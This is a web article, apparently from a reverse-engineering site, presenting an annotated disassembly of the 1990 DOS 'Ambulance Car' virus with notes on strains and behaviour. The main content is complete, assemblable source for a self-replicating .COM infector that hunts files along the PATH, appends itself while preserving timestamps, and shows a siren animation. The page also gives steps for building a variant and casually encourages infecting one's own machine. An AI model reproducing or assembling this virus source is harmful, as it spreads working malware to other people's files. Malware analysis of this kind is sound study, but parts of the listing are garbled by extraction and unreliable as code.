Statistics

Members: 1925
News: 293
Web Links: 1
Visitors: 3811493

Who's Online

We have 1 guest online
Damn Vulnerable LinuxDamn Vulnerable Linux (DVL) is a Linux-based (modified Damn Small Linux) tool for IT-Security & IT-Anti- Security and Attack & Defense. [CLICK HERE FOR MORE INFOS! ]

Featured Conference Video

T16-Recon2006-Joe_Stewart-OllyBonE.gif OllyBone - Semi-Automatic Unpacking on IA-32. View the conference video here!
Home arrow Articles - Programming arrow Assembly arrow Ambulance Car Disassembly
Ambulance Car Disassembly
User Rating: / 1
PoorBest 
Written by Chili   


This virus has definitely my favourite payload of all times. I just love seeing that little ambulance run across the screen with a 'siren' playing at the same time. Other than that, the virus itself isn't much of a thing. Don't forget though, that it is dated back to at least 1990.

It is a non-resident .COM infector, and each time an infected file is run it will attempt to infect two files (be it in the current directory or in a directory located in the PATH) in a parasitic manner. Infected files will experience a 796 bytes growth, being the main virus body appended to the end of the host. Also the host file's date and time will be preserved. On ocasion the virus will display the 'ambulance car' payload.

The virus doesn't preserve the initial contents of AX and so programs like HotDIR fail to run when infected. Also if there is any reference to 'PATH' in the environment block before the actual PATH string the virus will assume that to be the actual PATH (i.e. 'CLASSPATH=...').

Playing it safe

At the DOS prompt type "PATH ;" so that the virus will only infect files in the current directory and you can keep track of things. Also if all you want to do is see the payload, then comment the following lines in the source code (right after the delta offset calculation) so that no files are infected:

                call    searchninfect
call    searchninfect

Moreover you should comment the lines presented below (for the 'RedXAny' strain look-alike) so that the payload is shown everytime the virus is run.

In case things start to get out of hand, you should do one of three things: either disinfect the files yourself with an hex editor, use the latest version of F-PROT (available from ftp ftp.complex.is or through Simtel and Garbo) to scan and clean the infected files or use my own disinfector (in another article) to clean this specific strain.

[NOTE: F-PROT will report the strain whose source code is presented as

Ambulance.796.D]

Keep in mind that this virus is not destructive, so feel free to go ahead and infect your entire computer (you really shouldn't do this, since accidents can sometimes happen!).

Strains


A 'RedXAny' strain look-alike can be obatined by commenting the following lines (both in the 'payload' procedure):

jne exit_payload ; (starting with the sixth)

jnz exit_payload ; don't show payload

[NOTE: This will not give you the actual 'RedXAny' strain, but one that behaves

in the same manner - always shows the ambulance car]

Other strains exist, but will not be discussed here, has nothing of interest would be added.

Compatibility


The virus runs ok in a Win95's DOS box. Also, remember that for the payload to be apreciated in full, a PC Speaker is required. Bad luck for those of you who don't have a computer with one...

Here is the disassembly:

--8<---------------------------------------------------------------------------

; Ambulance Car (aka Ambulance, RedX, Red Cross) ; Ambulance-B strain (or so it seems!)
; Disassembly by Chili for APJ #6
; Byte for byte match when assembled with TASM 4.1 ; Assemble with:

;       tasm /ml /m2 ambul-b.asm
;       tlink /t ambul-b.obj
PSP_environment_seg     equ     2Ch     ; PSP location of process'  environment
;  block segment address
BDA_addr                equ     40h     ; BDA (Bios Data Area) segment address
BDA_LPT3_port_addr      equ     0Ch     ; BDA  location of  LPT3 I/O port  base
;  address
BDA_video_mode          equ     49h     ; BDA location of current video mode
BDA_timer_counter       equ     6Ch     ; BDA location of number of timer ticks
;  (18.2 per second) since midnight
TEXT           segment word public 'code'
assume  cs:TEXT, ds:TEXT, es:TEXT, ss:_TEXT
org     100h

; Host and virus' main body
;--------------------------
ambulance_car proc far

; Jump over host to real beginning of virus

db 0E9h, 01h, 00h ; Harcoded relative near jump

; Host (missing the first 3 bytes)
;
; Dummy host is just 4 bytes so only a 'nop' here

host

nop

; Calculate the delta offset
;
; This piece of code will 'fool' some disassemblers and so it will appear as: ;

;       call    $+4
;       add     [bp-7Fh], bx
;       out     dx, al
;       add     ax, [bx+di]

;
; Pretty basic, but could turn out to be somewhat annoying if used all over the ; place (for the person doing the disassembly, that is!) ;
; (because of 'db 01h'; used since the near jump above is also 3 bytes long ; and that has to be taken into account for the displacement calculation)

real start

call find_displacement db 01h ; Used to make this add up to 3 bytes

find displacement

pop si sub si, offset host

; Infect twice then load up the payload

                call    searchninfect
call    searchninfect
call    payload

; Restore host's original first 3 bytes

                lea     bx, [si+original_3bytes-4]
mov     di, offset ambulance_car
mov     al, [bx]
mov     [di], al        ; Restore 1st byte
mov     ax, [bx+1]
mov     [di+1], ax      ; Restore 2nd and 3rd bytes

; Return control to host

jmp di

; Move on to next step (be it 'searchninfect' or 'payload')

next step

retn

ambulance_car endp

; Search for a file and infect it
;--------------------------------
searchninfect proc near

; Search for the file

call search

; Found any file?

                mov     al, byte ptr [si+file_mask-4]
or      al, al                  ; If not,  then move  on to the
jz      next_step               ;  next step

; Increase 'opened files' counter

                lea     bx, [si+counter-4]
inc     word ptr [bx]

; Open file in read/write mode (AL - 02h)

                lea     dx, [si+filename-4]     ; Open a File
mov     ax, 3D02h               ;  [on entry AL  -  Open  mode;
int     21h                     ;   DS:DX - Pointer to filename
;   (ASCIIZ string)]
;  [returns AX - File handle]

; Save file handle

mov word ptr [si+file_handle-4], ax

; Read file's first 3 bytes

                mov     bx, word ptr [si+file_handle-4]
mov     cx, 3                   ; Read  from  File  or  Device,
lea     dx, [si+first_3bytes-4] ;  Using a Handle
mov     ah, 3Fh                 ;  [on entry BX -  File handle;
int     21h                     ;   CX  -  Number  of bytes  to
;   read;  DS:DX  -  Address of
;   buffer]

; Check if already infected

                mov     al, byte ptr [si+first_3bytes-4]
cmp     al, 0E9h                ; Is first byte a near jump?
jne     infect                  ; If not,  assume  virus  isn't
;  here, so go ahead and infect

; Move file pointer to real virus start (pointed to by the initial near jump)

                mov     dx, word ptr [si+first_3bytes+1-4]
mov     bx, word ptr [si+file_handle-4]
add     dx, 3                   ; Add  3 bytes  to account  for
;  the near jump
xor     cx, cx                  ; Move File Pointer (LSEEK)
mov     ax, 4200h               ;  [on entry BX -  File handle;
int     21h                     ;   CX:DX -  Offset,  in bytes;
;   AL   -   Mode  code  ( Move
;   pointer  CX:DX  bytes  from
;   beginning of file, AL - 0)]

; Read first 6 bytes from that location

                mov     bx, word ptr [si+file_handle-4]
mov     cx, 6
lea     dx, [si+six_bytes-4]
mov     ah, 3Fh                 ; Read  from  File  or  Device,
int     21h                     ;  Using a Handle

; Double-check if already infected
;
; Compares the bytes read with the first part of the displacement calculation ; code

                mov     ax, word ptr [si+six_bytes-4]
mov     bx, word ptr [si+six_bytes+2-4]
mov     cx, word ptr [si+six_bytes+4-4]
cmp     ax, word ptr [si+ambulance_car]
jne     infect
cmp     bx, word ptr [si+ambulance_car+2]
jne     infect
cmp     cx, word ptr [si+ambulance_car+4]
je      close_file              ; If already infected,  then go
;  ahead and close the file
infect

; Reset file pointer to end of file (AL - 2)

                mov     bx, word ptr [si+file_handle-4]
xor     cx, cx
xor     dx, dx                  ; Move File Pointer (LSEEK)
mov     ax, 4202h               ;  [returns DX:AX - New pointer
int     21h                     ;   location]

; Calculate virus' near jump relative offset

                sub     ax, 3                   ; Account for the near jump
mov     word ptr [si+relative_offset-4], ax

; Get and save file's date and time (AL - 0)

                mov     bx, word ptr [si+file_handle-4]
mov     ax, 5700h               ; Get a File's Date and Time
int     21h                     ;  [on entry BX - File handle]
push    cx                      ;  [returns  CX  -  Time;  DX -
push    dx                      ;   Date]

; Write virus body to end of file

                mov     bx, word ptr [si+file_handle-4]
mov     cx, virus_body - real_start
lea     dx, [si+ambulance_car]  ; Write to  a File  or  Device,
mov     ah, 40h                 ;  Using a Handle
int     21h                     ;  [on entry BX  - File handle;
;   CX  -  Number  of  bytes to
;   write;  DS:DX  - Address of
;   buffer]

; Write host's first 3 bytes to after virus body

                mov     bx, word ptr [si+file_handle-4]
mov     cx, 3
lea     dx, [si+first_3bytes-4]
mov     ah, 40h                 ; Write to  a File  or  Device,
int     21h                     ;  Using a Handle

; Move file pointer to beginning of file

                mov     bx, word ptr [si+file_handle-4]
xor     cx, cx
xor     dx, dx
mov     ax, 4200h               ; Move File Pointer (LSEEK)
int     21h

; Write jump-to-virus-body code to beginning of file

                mov     bx, word ptr [si+file_handle-4]
mov     cx, 3
lea     dx, [si+jump_code-4]
mov     ah, 40h                 ; Write to  a File  or  Device,
int     21h                     ;  Using a Handle

; Reset file's date and time to previous (AL - 1)

                pop     dx
pop     cx
mov     bx, word ptr [si+file_handle-4]
mov     ax, 5701h               ; Set a File's Date and Time
int     21h                     ;  [on entry BX  - File handle;
;   CX - Time; DX - Date]
close file

mov bx, word ptr [si+file_handle-4] mov ah, 3Eh ; Close a File Handle int 21h ; [on entry BX - File handle]

retn

searchninfect endp

; Find a file to infect, in the PATH or in the current directory ;--------------------------------------------------------------- search proc near

                mov     ax, ds:PSP_environment_seg
mov     es, ax
push    ds
mov     ax, BDA_addr
mov     ds, ax
mov     bp, ds:BDA_timer_counter
pop     ds

; Where to infect
;
; Probability of infecting in the current directory (none of the first two ; lower bits of BP being set) is 1/4 (25%), while probability of searching in ; the PATH for a directory where to infect (one or both of the first two lower ; bits of BP being set) is 3/4 (75%)

                test    bp, 00000011b           ; Check if we are  to infect in
jz      check_cur_dir           ;  the current  directory or in
;  a PATH directory

; Find the PATH string in the environment block ;
; Format of environment block (from Ralph Brown's Interrupt List): ;
; Offset Size Description
; ------ ---- -----------

; 00h     N BYTEs first environment variable, ASCIIZ string of form "var=value"
;         N BYTEs second environment variable, ASCIIZ string
;           ...
;         N BYTEs last environment variable, ASCIIZ string of form "var=value"
;           BYTE  00h
;---DOS 3.0+ ---
;           WORD  number of strings following environment (normally 1)
;         N BYTEs ASCIIZ full pathname of program owning this environment
;                 (other strings may follow)
xor     bx, bx                  ; Point to the first character
check_if_PATH:
mov     ax, es:[bx]
cmp     ax, 'AP'
jne     not_PATH
cmp     word ptr es:[bx+2], 'HT'
je      PATH_found
not_PATH:
inc     bx
or      ax, ax                  ; Check if both  AH and AL  are 
jnz     check_if_PATH           ;  equal  to zero  (meaning the
;  standard  environment  block
;  is over)

; Setup to check in the current directory

check cur dir

lea di, [si+file_mask-4] ; Point to file mask holder jmp short find_file

; Find a directory in the PATH

PATH found

add bx, 5 ; Point to after 'PATH='

find dir

lea di, [si+pathname-4] ; Point to PATH name holder

get character

mov al, es:[bx] inc bx or al, al ; Are we at the end of this jz patch_dir ; PATH string?

                cmp     al, ';'                 ; Is  this  a  PATH   directory
je      check_if_this_one       ;  separator?
mov     [di], al                ; Write this  character  to the 
inc     di                      ;  PATH name holder
jmp     short get_character
check if this one

cmp byte ptr es:[bx], 0 ; Are we at the end of this je patch_dir ; PATH string?

                shr     bp, 1                   ; Get  rid  of  the  first  two
shr     bp, 1                   ;  lower  bits,   because  it's
;  already known that  at least
;  one them is set

; Which directory to choose
;
; Probability of infecting in the found directory (none of the first two ; lower bits of BP being set) is 1/4 (25%), while probability of searching in ; the PATH for another directory where to infect (one or both of the first two ; lower bits of BP being set) is 3/4 (75%)

                test    bp, 00000011b           ; Check if we are to search for
jnz     find_dir                ;  files in this directory or
;  not
patch dir

cmp byte ptr [di-1], '\' ; Does the directory already je find_file ; have an ending '\'?

                mov     byte ptr [di], '\'      ; If not, then add one
inc     di

; Find a file to infect

find file

push ds pop es mov [si+filename_ptr-4], di ; Save current location within

; the pathname/file_mask

                mov     ax, '.*'                ; Set file mask
stosw
mov     ax, 'OC'
stosw
mov     ax, 'M'
stosw
push    es
mov     ah, 2Fh                 ; Get   Disk  Transfer  Address
int     21h                     ;  (DTA)
;  [returns ES:BX -  Address of
;   current DTA]
mov     ax, es
mov     word ptr [si+DTA_seg-4], ax     ; Save DTA segment
mov     word ptr [si+DTA_off-4], bx     ; Save DTA offset
pop     es
lea     dx, [si+new_DTA-4]      ; Setup new DTA
mov     ah, 1Ah                 ; Set Disk Transfer Address
int     21h                     ;  [on entry DS:DX - Address of
;   DTA]
lea     dx, [si+file_mask-4]    ; Setup  file  mask   (with  or
;  without a PATH directory)
xor     cx, cx                  ; Search for normal files only
mov     ah, 4Eh                 ; Find First Matching File
int     21h                     ;  [on   entry   CX   -    File
;   attribute; DS:DX -  pointer
;   to filespec (ASCIIZ string)
jnc     file_found              ; File found? (and no errors?)

; If no file found, then clear the file mask

                xor     ax, ax
mov     word ptr [si+file_mask-4], ax
jmp     short restore_DTA

; Check if we are to infect this file or find another one ;
; Probability of keeping the found file is 1/8 (12.5%) while probability of ; searching for another one is 7/8 (87.5%)

file found

push ds mov ax, BDA_addr mov ds, ax

                ror     bp, 1
xor     bp, ds:BDA_timer_counter
pop     ds
test    bp, 00000111b
jz      file_picked             ; Keep this file?
; If not, then...
mov     ah, 4Fh                 ; Find Next Matching File
int     21h
jnc     file_found              ; File found? (and no errors?)

; Either a file was picked or no more files where found (so keep last one)

file picked

mov di, [si+filename_ptr-4] ; Point to after path, if any lea bx, [si+f_name-4]

; Copy the file name of the found file to our filename/pathname holder

store filename

mov al, [bx] inc bx stosb or al, al ; Is the file name over? jnz store_filename ; If not, then copy the next

; character

restore DTA

mov bx, word ptr [si+DTA_off-4] ; Get old DTA offset mov ax, word ptr [si+DTA_seg-4] ; Get old DTA segment push ds mov ds, ax mov ah, 1Ah ; Set Disk Transfer Address int 21h pop ds

retn

search endp

; Check if payload will be shown or not ;-------------------------------------- payload proc near

; Check if payload will be shown
;
; The payload will be shown only when the counter-of-opened-files matches ; ...x110 (in binary) which happens at: 6, 14, 22, 30, 38, ... 65534. Then, ; when the counter reaches its limit (65535) and goes back to zero, everything ; starts again. So probability of the payload being shown is 1/8 (12.5%) and ; of not is 7/8 (87.5%)

                push    es
mov     ax, word ptr [si+counter-4]
and     ax, 00000111b
cmp     ax, 00000110b           ; Show  payload   every   eight
jne     exit_payload            ;  (starting  with  the  sixth)
;  time

; Did we already show the payload? (since the computer was (re)booted)

                mov     ax, BDA_addr
mov     es, ax
mov     ax, es:BDA_LPT3_port_addr
or      ax, ax                  ; If the  LPT3 port  is in use,
jnz     exit_payload            ;  don't show payload

; Mark LPT3 port as in use, so that the payload won't be shown again

                inc     word ptr es:BDA_LPT3_port_addr
call    show_payload
exit payload

pop es

retn

payload endp

; Setup and show the 'ambulance car' payload ;------------------------------------------- show_payload proc near

; Check video mode
;
; Text mode 3 (80x25) - video buffer address = 0B800h ; Text mode 7 (80x25) - video buffer address = 0B000h

                push    ds
mov     di, 0B800h
mov     ax, BDA_addr
mov     ds, ax
mov     al, ds:BDA_video_mode
cmp     al, 7                   ; Check which  video mode we're
jne     setup_videontune      ;  on,  if not  Monochrome text
mov     di, 0B000h              ;  mode 7, assume mode 3
setup video n tune

mov es, di pop ds mov bp, 0FFF0h ; Setup number of tones to play

; (will increment up to 50h)

setup animation

mov dx, 0 ; Setup ambulance_data column mov cx, 16 ; Number of characters that make

; up one ambulance_data line

do ambulance

call show_ambulance ; Print the ambulance to screen inc dx loop do_ambulance

                call    play_siren              ; Play  a tone  of the  'siren'
call    wait_tick               ;  and wait for a tick
inc     bp
cmp     bp, 50h                 ; Already played the 'ambulance
jne     setup_animation         ;  siren' tune 12 times?
call    speaker_off             ; If yes, then turn speaker off
push    ds
pop     es
retn

show_payload endp

; Turn the PC speaker off
;------------------------
speaker_off proc near

; Turn off the speaker
;
; 8255 PPI - Programmable Peripheral Interface ; Port 61h, 8255 Port B output
;
; (see description below)

                in      al, 61h
and     al, 11111100b   ; Disable timer channel 2 and  'ungate'
out     61h, al         ;  its output to the speaker
retn
speaker_off     endp

; Turn on the speaker and play the "ambulance siren" sound ;------------------------------------------------------------ play_siren proc near

; Select tone frequency to generate
;
; Tone frequency is selected by means of the 3rd least significant bit of BP: ;

; Bit(s)                        Description
; ------                        -----------
; ... 3 2 1 0
; ... x 0 x x                   Play 1st tone frequency
; ... x 1 x x                   Play 2nd tone frequency

;
; If we consider A to be the 1st tone and B to be the 2nd tone then the whole ; 'ambulance siren' tune will be: (AAAABBBB) x 12

                mov     dx, 07D0h       ; "ambulance siren" 1st tone frequency
test    bp, 00000100b   ; Check if  we are  to play
jz      speaker_on      ;  the first or  the second
;  tone frequency
mov     dx, 0BB8h       ; "ambulance siren" 2nd tone frequency

; Turn on the speaker
;
; 8255 PPI - Programmable Peripheral Interface ; Port 61h, 8255 Port B output
;

; Bit(s)                        Description
; ------                        -----------
; 7 6 5 4 3 2 1 0
; . . . . . . . 1               Timer 2 gate to speaker enable
; . . . . . . 1 .               Speaker data enable
; x x x x x x . .               Other non-concerning fields
speaker on

in al, 61h test al, 00000011b ; If speaker is already on, then go and jnz play_tone ; play the sound tone or al, 00000011b ; Else, enable timer channel 2 and out 61h, al ; 'gate' its output to the speaker

; Program the PIT
;
; 8253 PIT - Programmable Interval Timer ; Port 43h, 8253 Mode Control Register
;

; Bit(s)                        Description
; ------                        -----------
; 7 6 5 4 3 2 1 0
; . . . . . . . 0               16 binary counter
; . . . . 0 1 1 .               Mode 3, square wave generator
; . . 1 1 . . . .               Read/Write LSB, followed by write of MSB
; 1 0 . . . . . .               Select counter (channel) 2
mov     al, 10110110b   ; Set 8253 command register
out     43h, al         ;  for mode 3, channel 2, etc

; Generate a tone from the speaker
;
; 8253 PIT - Programmable Interval Timer ; Port 42h, 8253 Counter 2 Cassette and Speaker Functions

play tone

mov ax, dx out 42h, al ; Send LSB (Least Significant Byte) mov al, ah out 42h, al ; Send MSB (Most Significant Byte)

retn

play_siren endp

; Show the 'ambulance car'
;-------------------------
show_ambulance proc near

                push    cx
push    dx
lea     bx, [si+ambulance_data-4]
add     bx, dx          ; Setup  which   ambulance_data  column
; were going to print
add     dx, bp          ; Don't show the ambulance_data columns
or      dx, dx          ;  which aren't still visible
js      ambulance_done
cmp     dx, 50h         ; Check if the column we're printing is
jae     ambulance_done  ;  past the screen limit
; If yes,  then the don't print it
mov     di, 3200        ; Point to  beginning of  screen's 64th
;  line
add     di, dx          ; Point to the column we're supposed to
add     di, dx          ;  be printing at
sub     dx, bp          ; Restore to initial column value
mov     cx, 5           ; Set it up so we're in the first line
decode character

mov ah, 7 ; Set color attribute to white

; Decode the character
;
; It's really pretty ingenius, each character is encoded in a way, so that for ; each line beyond the first one that character is incremented by one and for ; each column beyond the first the same thing happens. So taken that into ; account it's not difficult to understand how it all works and how to decode ; the ambulance_data

                mov     al, [bx]        ; Get the character
sub     al, 7
add     al, cl          ; Account for which line we're in
sub     al, dl          ; Account for which column we're in
cmp     cx, 5           ; Are we in the first line?
jne     print_character ; If we are, then...
mov     ah, 15          ; Set color attribute to high-intensity
;  white
test    bp, 00000011b   ; Is this the  ending tone of a AAAA or
;  BBBB tune sequence?
jz      print_character ; If not,  then go ahead  and print the 
;  'siren' characters
mov     al, ' '         ; Else,  replace  them  with a ' '  (to
;  accomplish the visual 'siren' effect
print character

stosw ; Print the character to screen add bx, 16 ; Point to next ambulance_data line add di, 158 ; Point to next screen line loop decode_character

ambulance done

pop dx pop cx

retn

show_ambulance endp

; Wait for one tick (18.2 per second) to pass ;-------------------------------------------- wait_tick proc near

                push    ds
mov     ax, BDA_addr
mov     ds, ax
mov     ax, ds:BDA_timer_counter    ; Get ticks since midnight
check_timer:
cmp     ax, ds:BDA_timer_counter    ; Check  if  one  tick  has
je      check_timer                 ;  already passed
pop     ds
retn
wait_tick       endp

;--- Data from here below

ambulance data
first_line db 22h, 23h, 24h, 25h, 26h, 27h, 28h, 29h, 66h, 87h, 3Bh

db 2Dh, 2Eh, 2Fh, 30h, 31h second_line db 23h, 0E0h, 0E1h, 0E2h, 0E3h, 0E4h, 0E5h, 0E6h, 0E7h

db 0E7h, 0E9h, 0EAh, 0EBh, 30h, 31h, 32h third_line db 24h, 0E0h, 0E1h, 0E2h, 0E3h, 0E8h, 2Ah, 0EAh, 0E7h

db 0E8h, 0E9h, 2Fh, 30h, 6Dh, 32h, 33h fourth_line db 25h, 0E1h, 0E2h, 0E3h, 0E4h, 0E5h, 0E7h, 0E7h, 0E8h

db 0E9h, 0EAh, 0EBh, 0ECh, 0EDh, 0EEh, 0EFh fifth_line db 26h, 0E6h, 0E7h, 29h, 59h, 5Ah, 2Ch, 0ECh, 0EDh, 0EEh

db 0EFh, 0F0h, 32h, 62h, 34h, 0F4h

; Here's how the ambulance looks - see under DOS (box): ;
; \|/
; ÜÜÜÜÜÜÜÜÛÜÜÜ
; ÛÛÛÛß ßÛÛÛ \
; ÛÛÛÛÛÜÛÛÛÛÛÛÛÛÛ
; ßß OO ßßßßß O ß

counter dw 9

jump code
near_jump db 0E9h relative_offset db 36h, 00h

first_3bytes db 3 dup (?)

file_handle dw ?

virus body

original_3bytes db      0CDh, 20h               ; 'int 20h' opcode
db      90h                     ; 'nop' opcode

;--- Stuff that gets saved along with the virus ends here

six_bytes db 6 dup (?)

filename_ptr dw ?

DTA_seg         dw      ?
DTA_off         dw      ?
file mask

filename
pathname db 6 dup (?)

db 7 dup (?) db 67 dup (?)

new DTA
reserv db 21 dup (?) f_attr db ? f_time dw ? f_date dw ? f_size dd ? f_name db 13 dup (?) filler db 85 dup (?)
TEXT           ends
end     ambulancecar

---------------------------------------------------------------------------8<--

Special Thanks


I would like to thank Cicatrix for sending me his collection of 'Ambulance Car' strains, so that I would have more than two variants to study and compare.